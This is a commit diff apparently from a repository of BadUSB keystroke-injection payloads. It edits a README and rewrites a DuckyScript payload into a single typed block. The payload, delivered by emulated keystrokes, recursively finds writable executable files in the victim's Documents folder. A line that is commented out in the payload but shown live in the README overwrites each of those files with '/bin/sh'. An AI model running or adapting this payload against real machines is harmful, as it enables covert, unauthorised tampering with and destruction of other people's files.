Script converted to STRINGLN_BLOCK
parent
dbe3faaafd
commit
50932fe4da
|
@ -24,4 +24,9 @@ A script used to detect all executable files in a Linux system. An executable fi
|
|||
|
||||
### Settings
|
||||
|
||||
* You can edit the content that you want to put into the executable file (line 10 of the script.sh).
|
||||
* You can edit the content that you want to put into the executable file.
|
||||
|
||||
```Shell
|
||||
# You can put whatever you want into the executable file
|
||||
echo "/bin/sh" > "$file"
|
||||
```
|
|
@ -20,62 +20,20 @@ DELAY 2000
|
|||
REM #### Script ####
|
||||
|
||||
|
||||
STRING USER=$(whoami)
|
||||
ENTER
|
||||
DELAY 500
|
||||
|
||||
STRING DIR=/home/$USER/Documents
|
||||
ENTER
|
||||
DELAY 500
|
||||
|
||||
|
||||
REM #### Function Definition ####
|
||||
|
||||
|
||||
STRING function search_file {
|
||||
ENTER
|
||||
DELAY 500
|
||||
|
||||
STRING for file in "$1"/*; do
|
||||
ENTER
|
||||
DELAY 500
|
||||
|
||||
STRING if [[ -d "$file" ]]; then
|
||||
ENTER
|
||||
DELAY 500
|
||||
|
||||
STRING search_file "$file"
|
||||
ENTER
|
||||
DELAY 500
|
||||
|
||||
STRING elif [[ -f "$file" && -r "$file" && -w "$file" && -x "$file" ]]; then
|
||||
ENTER
|
||||
DELAY 500
|
||||
|
||||
STRING echo "File Found: $file"
|
||||
ENTER
|
||||
DELAY 500
|
||||
|
||||
REM Decomment it if you want to put "/bin/sh" into the files, else do what you want
|
||||
STRING # echo "/bin/sh" > "\$file"
|
||||
ENTER
|
||||
DELAY 500
|
||||
|
||||
STRING fi
|
||||
ENTER
|
||||
DELAY 500
|
||||
|
||||
STRING done
|
||||
ENTER
|
||||
DELAY 500
|
||||
|
||||
STRING }
|
||||
ENTER
|
||||
DELAY 500
|
||||
|
||||
|
||||
REM #### Function Run ####
|
||||
|
||||
|
||||
STRING search_file "$DIR"
|
||||
ENTER
|
||||
STRINGLN
|
||||
function search_file {
|
||||
for file in "$1"/*; do
|
||||
if [[ -d "$file" ]]; then
|
||||
search_file "$file";
|
||||
elif [[ -f "$file" && -r "$file" && -w "$file" && -x "$file" ]]; then
|
||||
echo "File Found: $file";
|
||||
# You can put whatever you want into the executable file
|
||||
# echo "/bin/sh" > "$file"
|
||||
fi
|
||||
done
|
||||
}
|
||||
USER=$(whoami);
|
||||
# You can choose whatever folder you want, the script is recursive.
|
||||
DIR=/home/$USER/Documents;
|
||||
search_file "$DIR";
|
||||
END_STRING
|
Loading…
Reference in New Issue